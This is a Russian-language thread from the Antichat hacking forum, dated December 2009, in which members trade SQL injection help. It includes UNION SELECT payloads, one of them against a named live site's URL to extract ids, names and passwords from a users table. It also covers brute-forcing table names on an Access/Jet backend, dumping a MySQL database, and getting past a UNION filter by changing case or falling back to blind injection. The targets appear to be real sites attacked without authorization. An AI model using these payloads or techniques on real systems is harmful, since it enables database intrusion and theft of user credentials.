17.12.2009, 04:42
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
1' union select 1,2,3 from table where '1'='1
|
|
|
17.12.2009, 07:23
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами:
10340793
Репутация:
66
|
|
Сообщение от Spyder
1' union select 1,2,3 from table where '1'='1
помогло спс тока без кавычег 1=1
Теперь брутит до брутит наверное или можно сначала имя дб вывести?
|
|
|
|
17.12.2009, 23:27
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами:
10340793
Репутация:
66
|
|
Сообщение от Strilo4ka
YuNi|[c почитай статьи и разберешся если mysql 5 то есть схема, если ниже то брутить таблицы! Есть влом читать то тулзу пашкелы и вперед если надо брутить (и не только) . Если ось win, то в переменных пропишы окружения путь в path до интерпретатора perl и не забуть директиву роскоментировать в апаче если апач ScriptInterpreterSource registry или впишы ели ее нет и перегрузи windows. . потом win+r -> cmd -> perl путь до_тулзи_пашкели и там разберешся 
спс я уже про тулзу с его выхода знаю и сам протестил))
Тут не MySql а какой то с нестандартыми ответами Access с Jet компонентом. Все таки не смог брути таблицы никакого, наверное префикс надо гадать.
|
|
|
|
17.12.2009, 20:36
|
|
Познавший АНТИЧАТ
Регистрация: 12.03.2008
Сообщений: 1,379
С нами:
9560486
Репутация:
1809
|
|
Добрый вечер!
Подскажите пожалуйста, как сделать дамп базы данных MySQL имея логин и пароль от базы, а так же имя сайта.
Дело в том, что domain: SITE.RU и nserver: ns1.site.ru один и тот же. Я так понял, что у них теперь свой сервер? Раньше они хостились на masterhost.ru, там был путь: https://phpmyadmin.masterhost.ru и я делал дамп, но теперь пишет:
phpMyAdmin - Ошибка
#2005 - Unknown MySQL server host 'admin.mysql.masterhost.ru' (1)
Что же делать? Как сделать дамп? |
|
|
|
17.12.2009, 21:46
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
С нами:
8797559
Репутация:
-16
|
|
http://www.section404.org/news.php?id=-1%20union%20select%201,2,3,group_concat(id,0x3a,na me,0x3a,password),5,6+from+users--
за4ем так полу4ается ??
не показовает//
|
|
|
|
17.12.2009, 22:07
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от LokbatanLi
за4ем так полу4ается ??
не показовает//
Потому что таблички users не существует...
PS: Раздражают такие люди, которые любят "п0нт@нутьSя"...
Последний раз редактировалось mailbrush; 17.12.2009 в 22:09..
|
|
|
|
17.12.2009, 22:26
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
Сообщение от mailbrush
Потому что таблички users не существует...
PS: Раздражают такие люди, которые любят "п0нт@нутьSя"...
Она существует но пустая
-1%20union%20select%201,2,3,count(*),5,6+from+users--
ЗЫ раньше он вообще на албани писал ((
|
|
|
|
17.12.2009, 23:28
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
С нами:
9851463
Репутация:
19
|
|
как можно выполнить инъекцию если на union на сайте стоит фильтр ?
|
|
|
|
17.12.2009, 23:35
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от M1ks
как можно выполнить инъекцию если на union на сайте стоит фильтр ?
Все зависит от грамотности фильтра... Поиграйся с регистром и тд... Если ничего не получится - крути как блинд.
|
|
|
|
17.12.2009, 23:53
|
|
Участник форума
Регистрация: 23.08.2007
Сообщений: 157
С нами:
9851463
Репутация:
19
|
|
Сообщение от mailbrush
Все зависит от грамотности фильтра... Поиграйся с регистром и тд... Если ничего не получится - крути как блинд.
с регистром не прокатывает..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
